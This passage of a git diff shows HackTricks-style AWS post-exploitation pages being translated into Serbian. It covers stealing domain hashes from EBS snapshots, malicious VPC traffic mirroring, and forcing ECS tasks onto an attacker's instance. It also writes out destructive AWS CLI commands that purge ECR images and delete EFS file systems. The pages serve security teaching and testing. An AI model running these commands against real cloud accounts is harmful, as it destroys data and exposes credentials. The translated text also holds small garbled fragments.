aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**Montirajte ga u EC2 VM pod vašom kontrolom** (mora biti u istoj regiji kao kopija rezervne kopije):
|
||||
|
||||
**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup):
|
||||
Step 1: Nova zapremina vaše željene veličine i tipa treba da se kreira odlaskom na EC2 –> Zapremine.
|
||||
|
||||
Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes.
|
||||
Da biste mogli da izvršite ovu radnju, pratite ove komande:
|
||||
|
||||
To be able to perform this action, follow these commands:
|
||||
- Kreirajte EBS zapreminu koju ćete priključiti EC2 instanci.
|
||||
- Osigurajte da su EBS zapremina i instanca u istoj zoni.
|
||||
|
||||
- Create an EBS volume to attach to the EC2 instance.
|
||||
- Ensure that the EBS volume and the instance are in the same zone.
|
||||
Step 2: Opcija "priključi zapreminu" treba da se izabere desnim klikom na kreiranu zapreminu.
|
||||
|
||||
Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.
|
||||
Step 3: Instanca iz tekstualnog okvira instance treba da se izabere.
|
||||
|
||||
Step 3: The instance from the instance text box is to be selected.
|
||||
Da biste mogli da izvršite ovu radnju, koristite sledeću komandu:
|
||||
|
||||
To be able to perform this action, use the following command:
|
||||
- Priključite EBS zapreminu.
|
||||
|
||||
- Attach the EBS volume.
|
||||
Step 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu `lsblk`.
|
||||
|
||||
Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`.
|
||||
Step 5: Proverite da li zapremina ima podataka koristeći komandu `sudo file -s /dev/xvdf`.
|
||||
|
||||
Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`.
|
||||
Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je zapremina prazna.
|
||||
|
||||
If the output of the above command shows "/dev/xvdf: data", it means the volume is empty.
|
||||
Step 6: Formatirajte zapreminu u ext4 datotečni sistem koristeći komandu `sudo mkfs -t ext4 /dev/xvdf`. Alternativno, možete koristiti i xfs format koristeći komandu `sudo mkfs -t xfs /dev/xvdf`. Imajte na umu da treba da koristite ili ext4 ili xfs.
|
||||
|
||||
Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs.
|
||||
Step 7: Kreirajte direktorijum po vašem izboru da montirate novu ext4 zapreminu. Na primer, možete koristiti naziv "newvolume".
|
||||
|
||||
Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume".
|
||||
Da biste mogli da izvršite ovu radnju, koristite komandu `sudo mkdir /newvolume`.
|
||||
|
||||
To be able to perform this action, use the command `sudo mkdir /newvolume`.
|
||||
Step 8: Montirajte zapreminu u direktorijum "newvolume" koristeći komandu `sudo mount /dev/xvdf /newvolume/`.
|
||||
|
||||
Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`.
|
||||
Step 9: Promenite direktorijum u "newvolume" direktorijum i proverite prostor na disku da biste potvrdili montiranje zapremine.
|
||||
|
||||
Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount.
|
||||
Da biste mogli da izvršite ovu radnju, koristite sledeće komande:
|
||||
|
||||
To be able to perform this action, use the following commands:
|
||||
- Promenite direktorijum u `/newvolume`.
|
||||
- Proverite prostor na disku koristeći komandu `df -h .`. Izlaz ove komande treba da prikazuje slobodan prostor u "newvolume" direktorijumu.
|
||||
|
||||
- Change directory to `/newvolume`.
|
||||
- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
|
||||
|
||||
You can do this with Pacu using the module `ebs__explore_snapshots`.
|
||||
|
||||
## Checking a snapshot in AWS (using cli)
|
||||
Možete to uraditi sa Pacu koristeći modul `ebs__explore_snapshots`.
|
||||
|
||||
## Proveravanje snimka u AWS (koristeći cli)
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
|
||||
|
||||
@@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt
|
||||
|
||||
ls /mnt
|
||||
```
|
||||
|
||||
## Shadow Copy
|
||||
|
||||
Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
|
||||
Svaki AWS korisnik koji ima **`EC2:CreateSnapshot`** dozvolu može ukrasti hešove svih korisnika domena kreiranjem **snapshot-a Kontrolera domena**, montirajući ga na instancu koju kontroliše i **izvozeći NTDS.dit i SYSTEM** registry hive datoteku za korišćenje sa Impacketovim secretsdump projektom.
|
||||
|
||||
You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
|
||||
Možete koristiti ovaj alat za automatizaciju napada: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ili možete koristiti neku od prethodnih tehnika nakon kreiranja snapshot-a.
|
||||
|
||||
## References
|
||||
|
||||
- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,12 @@
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
|
||||
Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
|
||||
Pasivna inspekcija mreže u cloud okruženju je bila **izazovna**, zahtevajući velike promene u konfiguraciji za praćenje mrežnog saobraćaja. Međutim, nova funkcija pod nazivom “**VPC Traffic Mirroring**” je uvedena od strane AWS-a kako bi se pojednostavio ovaj proces. Sa VPC Traffic Mirroring, mrežni saobraćaj unutar VPC-a može biti **dupliran** bez instaliranja bilo kakvog softvera na samim instancama. Ovaj duplirani saobraćaj može biti poslat na sistem za detekciju mrežnih upada (IDS) radi **analize**.
|
||||
|
||||
To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
|
||||
Da bismo odgovorili na potrebu za **automatskom implementacijom** potrebne infrastrukture za mirroring i eksfiltraciju VPC saobraćaja, razvili smo skriptu za dokazivanje koncepta pod nazivom “**malmirror**”. Ova skripta se može koristiti sa **kompromitovanim AWS kredencijalima** za postavljanje mirroring-a za sve podržane EC2 instance u ciljanom VPC-u. Važno je napomenuti da VPC Traffic Mirroring podržavaju samo EC2 instance pokretane AWS Nitro sistemom, a VPC cilj za mirroring mora biti unutar istog VPC-a kao i hostovi koji se mirroring-uju.
|
||||
|
||||
The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
|
||||
**Uticaj** zlonamernog VPC saobraćaja može biti značajan, jer omogućava napadačima pristup **osetljivim informacijama** koje se prenose unutar VPC-a. **Verovatnoća** takvog zlonamernog mirroring-a je visoka, s obzirom na prisustvo **saobraćaja u čistom tekstu** koji prolazi kroz VPC-e. Mnoge kompanije koriste protokole u čistom tekstu unutar svojih internih mreža iz **razloga performansi**, pretpostavljajući da tradicionalni napadi tipa man-in-the-middle nisu mogući.
|
||||
|
||||
For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
|
||||
Za više informacija i pristup [**malmirror skripti**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), može se pronaći u našoj **GitHub repozitoriji**. Skripta automatizuje i pojednostavljuje proces, čineći ga **brzim, jednostavnim i ponovljivim** za ofanzivne istraživačke svrhe.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,13 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check
|
||||
Za više informacija proverite
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
|
||||
### Prijava, Preuzimanje & Postavljanje
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -38,17 +37,16 @@ docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
|
||||
After downloading the images you should **check them for sensitive info**:
|
||||
После преузимања слика требало би да **проверите да ли садрже осетљиве информације**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
@@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||
|
||||
Нападач са било којом од ових дозвола може **креирати или модификовати политику животног циклуса да обрише све слике у репозиторијуму** и затим **обрисати цео ECR репозиторијум**. То би резултирало губитком свих контејнерских слика које су похрањене у репозиторијуму.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
@@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,42 +12,37 @@ For more information check:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
U ECS, **IAM uloga može biti dodeljena zadatku** koji se izvršava unutar kontejnera. **Ako** se zadatak izvršava unutar **EC2** instance, **EC2 instanca** će imati **drugu IAM** ulogu prikačenu na nju.\
|
||||
Što znači da ako uspete da **kompromitujete** ECS instancu, potencijalno možete **dobiti IAM ulogu povezanu sa ECR-om i sa EC2 instancom**. Za više informacija o tome kako da dobijete te kredencijale, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
Ali pored toga, EC2 koristi docker za pokretanje ECs zadataka, tako da ako možete da pobegnete na čvor ili **pristupite docker socket-u**, možete **proveriti** koji se **drugi kontejneri** pokreću, i čak **ući u njih** i **ukrasti njihove IAM uloge**.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
|
||||
Pored toga, **EC2 instanca uloga** obično će imati dovoljno **dozvola** da **ažurira stanje kontejner instance** EC2 instanci koje se koriste kao čvorovi unutar klastera. Napadač bi mogao da izmeni **stanje instance na DRAINING**, tada će ECS **ukloniti sve zadatke sa nje** i oni koji se izvršavaju kao **REPLICA** će biti **pokrenuti na drugoj instanci,** potencijalno unutar **napadačeve instance** tako da može **ukrasti njihove IAM uloge** i potencijalno osetljive informacije iz kontejnera.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
Ista tehnika se može primeniti **odjavljivanjem EC2 instance iz klastera**. Ovo je potencijalno manje prikriveno, ali će **prisiliti zadatke da se izvršavaju na drugim instancama:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
Zadnja tehnika za prisiljavanje ponovnog izvršavanja zadataka je da se ECS-u naznači da je **zadatak ili kontejner zaustavljen**. Postoje 3 potencijalne API-ja za to:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
@@ -55,13 +50,8 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Uk stealing osetljivih informacija iz ECR kontejnera
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
@@ -12,47 +12,35 @@ For more information check:
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
|
||||
|
||||
Napadač bi mogao da obriše mount target, potencijalno ometajući pristup EFS fajl sistemu za aplikacije i korisnike koji se oslanjaju na taj mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
|
||||
**Potencijalni uticaj**: Poremećaj pristupa sistemu datoteka i potencijalni gubitak podataka za korisnike ili aplikacije.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
|
||||
|
||||
Napadač bi mogao da obriše čitav EFS sistem datoteka, što bi moglo dovesti do gubitka podataka i uticati na aplikacije koje se oslanjaju na sistem datoteka.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
|
||||
**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani fajl sistem.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
|
||||
|
||||
Napadač bi mogao da ažurira svojstva EFS fajl sistema, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Degradacija performansi fajl sistema ili iscrpljivanje resursa.
|
||||
|
||||
**Potential Impact**: Degradation of file system performance or resource exhaustion.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
|
||||
### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi dodeljujući neovlašćen pristup fajl sistemu.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup fajl sistemu, izlaganje ili modifikacija podataka.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EKS
|
||||
|
||||
For mor information check
|
||||
Za više informacija proverite
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
@@ -12,102 +12,93 @@ For mor information check
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
|
||||
If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Saznajte više](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connect to AWS Kubernetes Cluster
|
||||
|
||||
- Easy way:
|
||||
|
||||
- Lako rešenje:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Nije tako lak način:
|
||||
|
||||
- Not that easy way:
|
||||
|
||||
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
|
||||
|
||||
In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
|
||||
Ako možete **dobiti token** sa **`aws eks get-token --name <cluster_name>`** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), mogli biste **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potreban **url endpoint za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
|
||||
|
||||
U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam **pronašao u LaunchTemplates userData** i u **EC2 mašinama u userData takođe**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
|
||||
<summary>kube konfiguracija</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4